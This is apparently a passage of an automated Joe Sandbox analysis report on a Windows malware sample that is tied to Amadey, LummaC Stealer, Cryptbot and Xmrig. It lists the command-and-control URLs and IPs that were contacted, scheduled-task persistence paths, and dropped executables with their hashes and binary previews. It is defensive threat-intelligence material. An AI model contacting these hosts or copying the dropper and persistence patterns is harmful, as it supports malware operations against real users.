http://crl.rootca1.amazontrust.com/rootca1.crl0	DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	475e05f959.exe, 0000000A.00000003.2702477506.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2702792369.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	475e05f959.exe, 0000000A.00000003.2564849481.0000000003333000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2565006205.00000000032E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	false		high
https://pancakedipyps.click/bun	475e05f959.exe, 0000000A.00000003.2824743742.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/bu	475e05f959.exe, 0000000A.00000003.2824743742.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2863227814.0000000000BF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://httpbin.org/ipbefore	93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	svchost.exe, 00000025.00000002.2976569728.0000000002D6C000.00000004.00000010.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	475e05f959.exe, 0000000A.00000003.2655126834.0000000000C27000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	475e05f959.exe, 0000000A.00000003.2564849481.0000000003335000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://usbtor.ru/viewtopic.php?t=798)Z	791c6803ad.exe, 0000000D.00000000.2830250091.0000000000423000.00000002.00000001.01000000.0000000E.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	475e05f959.exe, 0000000A.00000003.2565006205.00000000032C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	svchost.exe, 00000025.00000002.2976569728.0000000002D6C000.00000004.00000010.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/pi	475e05f959.exe, 0000000A.00000003.2728718159.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2730042987.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2863227814.0000000000BF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
172.67.129.27	sweepyribs.lat	United States	13335	CLOUDFLARENETUS	false
185.244.212.106	unknown	Romania	9009	M247GB	true
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
172.67.209.202	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.154.220.71	home.twentytk20pn.top	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577038
Start date and time:	2024-12-17 22:04:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@93/44@26/10
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for powershell

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.17.78, 172.217.21.35, 64.233.163.84, 23.218.208.109, 172.202.163.200, 13.107.246.63, 20.190.181.3, 20.189.173.21, 20.189.173.9
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, umwatson.events.data.microsoft.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target 475e05f959.exe, PID 7968 because there are no executed function
Execution Graph export aborted for target 5d99420dfa.exe, PID 4124 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:06:00	API Interceptor	28005042x Sleep call for process: skotes.exe modified
16:06:22	API Interceptor	8x Sleep call for process: 475e05f959.exe modified
16:07:00	API Interceptor	885903x Sleep call for process: 93b1627660.exe modified
16:07:08	API Interceptor	10x Sleep call for process: powershell.exe modified
16:07:12	API Interceptor	3x Sleep call for process: svchost.exe modified
16:07:18	API Interceptor	8x Sleep call for process: b55b5c2bf3.exe modified
16:07:29	API Interceptor	8x Sleep call for process: 94d5f3aad3.exe modified
21:05:09	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:07:05	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
21:08:33	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
98.85.100.80	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse
	gyZkEwCn5w.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	z2kJvTjVVa.exe	Get hash	malicious	Cryptbot	Browse
	jf2jJnlcYf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	B7nTczObGV.exe	Get hash	malicious	Cryptbot	Browse
	sd3o9UfOL4.exe	Get hash	malicious	Cryptbot	Browse
	PytpTDxs17.exe	Get hash	malicious	Cryptbot	Browse
	4Aoo17481q.exe	Get hash	malicious	Cryptbot	Browse
	61JOx7py3p.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	3fX4NR35LH.exe	Get hash	malicious	Cryptbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
httpbin.org	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	34.226.108.155
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	34.226.108.155
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	34.226.108.155
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	34.226.108.155
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	34.226.108.155
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	98.85.100.80
	q2jbDDaB3T.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	gyZkEwCn5w.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	z2kJvTjVVa.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
	7phaWtDByx.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
sweepyribs.lat	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.129.27
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.129.27
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.2.110
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.129.27
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	172.67.129.27
	sfWmEoGJQR.exe	Get hash	malicious	LummaC	Browse	172.67.129.27
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.2.110
	pN6iTXbhhc.exe	Get hash	malicious	LummaC	Browse	172.67.129.27
	81eivTbdp6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	RkB7FehGh6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
pancakedipyps.click	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	188.114.96.6

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://mail.donotreply.biz/XWW04VVZpU2JyWTFmVy96T2RUOUEvcEhyMWhFSm5uZElnVUlmb2dTZEdMRFdGSU1UV2V3S3RUNGdrNmNQRFJ4WTFPRHdYYlkraDV3S1YyVVpuU3E3K2p1bWowcEt3M24ySVBLanRDUkwyYitYWExuYTB5YlhVTUhySWZKbGJCTE9oRHl2RCtjR29BbEk3ZEwxZFJaNmNoK29ESk0vTGcxSmtyK0FWTExLWTdxYlQ1Yys1bjNiTUczY0RnPT0tLTU2R0pFM1VwZFRnVndZSWktLXptU2lWOHlQdjR0eGI1K09OQVZtRnc9PQ==?cid=2315575162	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	https://mail.donotreply.biz/XWW04VVZpU2JyWTFmVy96T2RUOUEvcEhyMWhFSm5uZElnVUlmb2dTZEdMRFdGSU1UV2V3S3RUNGdrNmNQRFJ4WTFPRHdYYlkraDV3S1YyVVpuU3E3K2p1bWowcEt3M24ySVBLanRDUkwyYitYWExuYTB5YlhVTUhySWZKbGJCTE9oRHl2RCtjR29BbEk3ZEwxZFJaNmNoK29ESk0vTGcxSmtyK0FWTExLWTdxYlQ1Yys1bjNiTUczY0RnPT0tLTU2R0pFM1VwZFRnVndZSWktLXptU2lWOHlQdjR0eGI1K09OQVZtRnc9PQ==?cid=2315575162	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	https://usps.com-trackujy.top/us/	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://office.yacivt.com/wriEcFSZ	Get hash	malicious	HTMLPhisher	Browse	172.67.162.198
	https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.fishertools.com/images/category/c1338ad0ed698a218652681b11a0396f.jpg	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://shipment-status.com/route/85cc45db86ead4bc2c9088fa81eada0d9155863e/	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://bu.marcel-andree.de/	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://funcilnewshical.com/76e41238-e8a4-483e-8f1d-ad83b34d4805?batchid=Douglasgrimes-Testsetup&carrier=carrier&textid=textid&brand=register.douglasgrimes.com&source=source&messageId=messageId&name=Lisa&phone=phone&step=step&domain=domain&cost=cost	Get hash	malicious	Unknown	Browse	104.21.51.241
TWC-11351-NORTHEASTUS	https://6movies.stream/series/cobra-kai-80711/6-4/	Get hash	malicious	Unknown	Browse	98.82.154.76
	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse	98.82.158.241
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	98.85.100.80
	gyZkEwCn5w.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	z2kJvTjVVa.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
	jf2jJnlcYf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	B7nTczObGV.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
	sd3o9UfOL4.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
	PytpTDxs17.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
	4Aoo17481q.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	185.215.113.16
	jYd7FUgGZc.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	MeP66xi1AM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.129.27 172.67.209.202
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.129.27 172.67.209.202
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.129.27 172.67.209.202
	lavita.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.129.27 172.67.209.202
	sNWQ2gC6if.exe	Get hash	malicious	LummaC	Browse	172.67.129.27 172.67.209.202
	66DJ2wErLz.exe	Get hash	malicious	LummaC	Browse	172.67.129.27 172.67.209.202
	out.bin.exe	Get hash	malicious	LummaC	Browse	172.67.129.27 172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.129.27 172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.129.27 172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	172.67.129.27 172.67.209.202

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	30208
Entropy (8bit):	6.4826623312929055
Encrypted:	false
SSDEEP:	384:piY/4mcwYPSNOjKjg11+rVlOxxtNP97kJkgQ8pwIIumVbgORBprjlJZpTJ3uPbH0:piWWjjKjrOFgwItmVsOlr1B+9E
MD5:	D7F262A8282BE1508048344C20404DE9
SHA1:	CE852799CB2FD8E54FC5B8F55299DD36A032E981
SHA-256:	810A7284E9CB3207915DE92B78C40478F3FE27EFFA42F6F1EC242232EEE4D631
SHA-512:	BC7D18B9A66EFB0AA9F94F8AB7A167C83AA1FBEA9CA94AD745424D00051A980E396C58047533CE14C99977DF6F8C4640712E5F5B4B46E02008CF73FD70D70370
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PovertyStealer, Description: Yara detected Poverty Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M...,}..,}..,}..q~..,}..T..,}..,\|..,}..qt..,}..q...,}.Rich.,}.........PE..L.....f.................`...........".......p....@.......................................@..................................v..x....................................u...............................................p...............................text....^.......`.................. ..`.rdata.......p.......d..............@..@.data................p..............@....reloc...............r..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4434944
Entropy (8bit):	7.983959942781077
Encrypted:	false
SSDEEP:	98304:rc5Qa+sFdxQUKrG7miP3IQ3CXxwkqrLSEf7WyI2gqYrcK0Trb:rcma+uPKrG7miwQ3CBwkqaEfKydBKY3
MD5:	D001AE31BA54295C5FFEAC731279A162
SHA1:	397C71747241B8809E8B726FAB65BE1E587A3037
SHA-256:	7C13F8B27FB0421F589AAADA3EEE149DFCBF4916240717EC4D18F07B545750A3
SHA-512:	9AB3A40132C7319E0EC1E489FDA9BCA5D013FE956D58657A446A2411A2F0D1AF98A82A8FFDE09E832F28935C44DCE9A3FA52DA5132DBAF307FB88581ADAFC3E2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2..........PD...@..................................kD...@... ............................._.a.s.....a........................................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...oldbffal.0.......0...T(.............@...xzawrklp.............C.............@....taggant.0......"....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
